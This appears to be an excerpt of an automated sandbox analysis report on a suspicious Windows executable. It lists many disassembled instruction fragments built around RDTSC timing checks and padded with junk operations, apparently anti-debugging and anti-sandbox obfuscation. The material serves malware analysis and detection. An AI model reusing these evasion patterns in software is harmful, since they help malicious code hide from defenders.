Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AEF53 second address: 10AEF58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AEF58 second address: 10AEF81 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151EBh 0x00000007 jmp 00007FD5B08151EEh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e je 00007FD5B0815208h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AEF81 second address: 10AEF85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0867 second address: 10B0896 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FD5B08151F1h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD5B08151F2h 0x00000010 jng 00007FD5B08151E6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0896 second address: 10B08BE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD5B0DE62E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FD5B0DE62F5h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B08BE second address: 10B08C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B08C2 second address: 10B08C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1066 second address: 10B106A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B106A second address: 10B106E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B106E second address: 10B108A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD5B08151F3h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B108A second address: 10B10C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push edx 0x0000000e push edi 0x0000000f pushad 0x00000010 popad 0x00000011 pop edi 0x00000012 pop edx 0x00000013 mov eax, dword ptr [eax] 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FD5B0DE62F7h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B10C8 second address: 10B113C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jmp 00007FD5B08151EFh 0x00000010 pop eax 0x00000011 call 00007FD5B08151ECh 0x00000016 jne 00007FD5B08151ECh 0x0000001c pop esi 0x0000001d call 00007FD5B08151E9h 0x00000022 push edi 0x00000023 jmp 00007FD5B08151F0h 0x00000028 pop edi 0x00000029 push eax 0x0000002a jnl 00007FD5B08151F2h 0x00000030 mov eax, dword ptr [esp+04h] 0x00000034 pushad 0x00000035 push eax 0x00000036 jc 00007FD5B08151E6h 0x0000003c pop eax 0x0000003d pushad 0x0000003e push ecx 0x0000003f pop ecx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1276 second address: 10B127B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1417 second address: 10B141E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B141E second address: 10B1446 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007FD5B0DE62E8h 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1446 second address: 10B1450 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD5B08151ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B153A second address: 10B153F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B16A2 second address: 10B16A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1753 second address: 10B1774 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FD5B0DE62E6h 0x00000009 jmp 00007FD5B0DE62EAh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jp 00007FD5B0DE62E8h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1CF2 second address: 10B1D18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jnp 00007FD5B08151F4h 0x00000011 pushad 0x00000012 jnl 00007FD5B08151E6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B2288 second address: 10B2292 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD5B0DE62ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B2302 second address: 10B2306 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B282F second address: 10B2833 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B2833 second address: 10B2899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FD5B08151F8h 0x0000000c jmp 00007FD5B08151F1h 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 jmp 00007FD5B08151EDh 0x00000019 nop 0x0000001a jmp 00007FD5B08151F5h 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 add edi, 7B6B3491h 0x00000029 xchg eax, ebx 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B2899 second address: 10B28A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B28A0 second address: 10B28BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5CF4 second address: 10B5CF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B637A second address: 10B6401 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FD5B08151F3h 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007FD5B08151E8h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 00000018h 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a add dword ptr [ebp+122D2A1Bh], edi 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebx 0x00000037 call 00007FD5B08151E8h 0x0000003c pop ebx 0x0000003d mov dword ptr [esp+04h], ebx 0x00000041 add dword ptr [esp+04h], 0000001Dh 0x00000049 inc ebx 0x0000004a push ebx 0x0000004b ret 0x0000004c pop ebx 0x0000004d ret 0x0000004e mov edi, dword ptr [ebp+122D3987h] 0x00000054 push eax 0x00000055 pushad 0x00000056 push eax 0x00000057 push edx 0x00000058 jnc 00007FD5B08151E6h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6401 second address: 10B6405 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6B6A second address: 10B6B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pushad 0x00000008 jng 00007FD5B08151ECh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6B7A second address: 10B6B82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6B82 second address: 10B6B86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8204 second address: 10B8208 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8208 second address: 10B8278 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD5B08151E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FD5B08151F5h 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007FD5B08151E8h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d mov si, D0AEh 0x00000031 push 00000000h 0x00000033 mov dword ptr [ebp+122D22ABh], esi 0x00000039 push 00000000h 0x0000003b mov edi, dword ptr [ebp+122D3947h] 0x00000041 xchg eax, ebx 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 jmp 00007FD5B08151F7h 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8278 second address: 10B827D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B7F81 second address: 10B7F8B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD5B08151ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8CC5 second address: 10B8CED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD5B0DE62F4h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8CED second address: 10B8D9C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD5B08151E8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007FD5B08151E8h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 and di, 0C1Fh 0x0000002a jp 00007FD5B08151ECh 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edx 0x00000035 call 00007FD5B08151E8h 0x0000003a pop edx 0x0000003b mov dword ptr [esp+04h], edx 0x0000003f add dword ptr [esp+04h], 0000001Dh 0x00000047 inc edx 0x00000048 push edx 0x00000049 ret 0x0000004a pop edx 0x0000004b ret 0x0000004c mov edi, 3E96D2ECh 0x00000051 mov si, dx 0x00000054 push 00000000h 0x00000056 pushad 0x00000057 push eax 0x00000058 mov dword ptr [ebp+1244E5B9h], edx 0x0000005e pop edx 0x0000005f jo 00007FD5B08151F8h 0x00000065 call 00007FD5B08151F1h 0x0000006a pop eax 0x0000006b popad 0x0000006c push eax 0x0000006d pushad 0x0000006e jmp 00007FD5B08151F4h 0x00000073 push eax 0x00000074 push edx 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8D9C second address: 10B8DA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BA74F second address: 10BA782 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD5B08151E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 jo 00007FD5B08151E6h 0x00000016 pop edx 0x00000017 pushad 0x00000018 jne 00007FD5B08151E6h 0x0000001e push eax 0x0000001f pop eax 0x00000020 jmp 00007FD5B08151F0h 0x00000025 push edi 0x00000026 pop edi 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B95B1 second address: 10B95B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BBE65 second address: 10BBE6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FD5B08151E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BBE6F second address: 10BBEAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e jnc 00007FD5B0DE62E6h 0x00000014 push esi 0x00000015 pop esi 0x00000016 pop ebx 0x00000017 pushad 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a jmp 00007FD5B0DE62F3h 0x0000001f jmp 00007FD5B0DE62EAh 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107320D second address: 1073211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1073211 second address: 107324B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FD5B0DE62EBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FD5B0DE62EEh 0x00000011 jng 00007FD5B0DE62E6h 0x00000017 jmp 00007FD5B0DE62F0h 0x0000001c popad 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0AE7 second address: 10C0AF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FD5B08151E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10782DF second address: 10782E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BEB1D second address: 10BEB21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BEB21 second address: 10BEB41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD5B0DE62F8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C3206 second address: 10C320B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4277 second address: 10C427B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C427B second address: 10C427F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C427F second address: 10C4285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4285 second address: 10C42C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FD5B08151F9h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e mov edi, dword ptr [ebp+122D1F0Dh] 0x00000014 push 00000000h 0x00000016 mov ebx, dword ptr [ebp+122D36FFh] 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push esi 0x00000020 ja 00007FD5B08151E6h 0x00000026 pop esi 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C42C0 second address: 10C42C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C5253 second address: 10C5258 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C542E second address: 10C5434 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C72A9 second address: 10C72BE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD5B08151E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push esi 0x0000000d jc 00007FD5B08151ECh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C639F second address: 10C63B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FD5B0DE62E6h 0x0000000a popad 0x0000000b pop edx 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C8139 second address: 10C8183 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FD5B08151F6h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push edi 0x00000018 pop edi 0x00000019 jmp 00007FD5B08151F8h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C9264 second address: 10C926A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106C654 second address: 106C65E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CB6B4 second address: 10CB6C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5B0DE62EAh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CB6C3 second address: 10CB768 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD5B08151ECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007FD5B08151E8h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 push 00000000h 0x00000029 jmp 00007FD5B08151F6h 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ebp 0x00000033 call 00007FD5B08151E8h 0x00000038 pop ebp 0x00000039 mov dword ptr [esp+04h], ebp 0x0000003d add dword ptr [esp+04h], 00000017h 0x00000045 inc ebp 0x00000046 push ebp 0x00000047 ret 0x00000048 pop ebp 0x00000049 ret 0x0000004a pushad 0x0000004b jmp 00007FD5B08151F8h 0x00000050 jmp 00007FD5B08151F1h 0x00000055 popad 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007FD5B08151EDh 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C93B9 second address: 10C93C3 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD5B0DE62E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD758 second address: 10CD75C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD75C second address: 10CD762 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C9471 second address: 10C947B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD5B08151E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD762 second address: 10CD7FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FD5B0DE62F9h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e jp 00007FD5B0DE62E6h 0x00000014 pop eax 0x00000015 pop edx 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007FD5B0DE62E8h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000016h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 mov bl, cl 0x00000033 push 00000000h 0x00000035 mov edi, dword ptr [ebp+122D3A4Bh] 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push ebp 0x00000040 call 00007FD5B0DE62E8h 0x00000045 pop ebp 0x00000046 mov dword ptr [esp+04h], ebp 0x0000004a add dword ptr [esp+04h], 00000017h 0x00000052 inc ebp 0x00000053 push ebp 0x00000054 ret 0x00000055 pop ebp 0x00000056 ret 0x00000057 or edi, 232A12AEh 0x0000005d jl 00007FD5B0DE62ECh 0x00000063 mov ebx, dword ptr [ebp+122D39A7h] 0x00000069 xchg eax, esi 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007FD5B0DE62EFh 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD7FA second address: 10CD80F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jno 00007FD5B08151E6h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD80F second address: 10CD828 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD5B0DE62F5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD828 second address: 10CD82C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C8311 second address: 10C83A3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD5B0DE62EFh 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007FD5B0DE62E8h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 js 00007FD5B0DE62EBh 0x0000002f xor bx, 40D2h 0x00000034 push dword ptr fs:[00000000h] 0x0000003b mov di, DEF2h 0x0000003f mov dword ptr fs:[00000000h], esp 0x00000046 movsx ebx, di 0x00000049 mov eax, dword ptr [ebp+122D15F5h] 0x0000004f pushad 0x00000050 xor dword ptr [ebp+122D2E08h], edx 0x00000056 xor ch, FFFFFFBAh 0x00000059 popad 0x0000005a push FFFFFFFFh 0x0000005c or edi, 5475FDBDh 0x00000062 push eax 0x00000063 push ecx 0x00000064 push eax 0x00000065 push edx 0x00000066 jmp 00007FD5B0DE62F7h 0x0000006b rdtsc
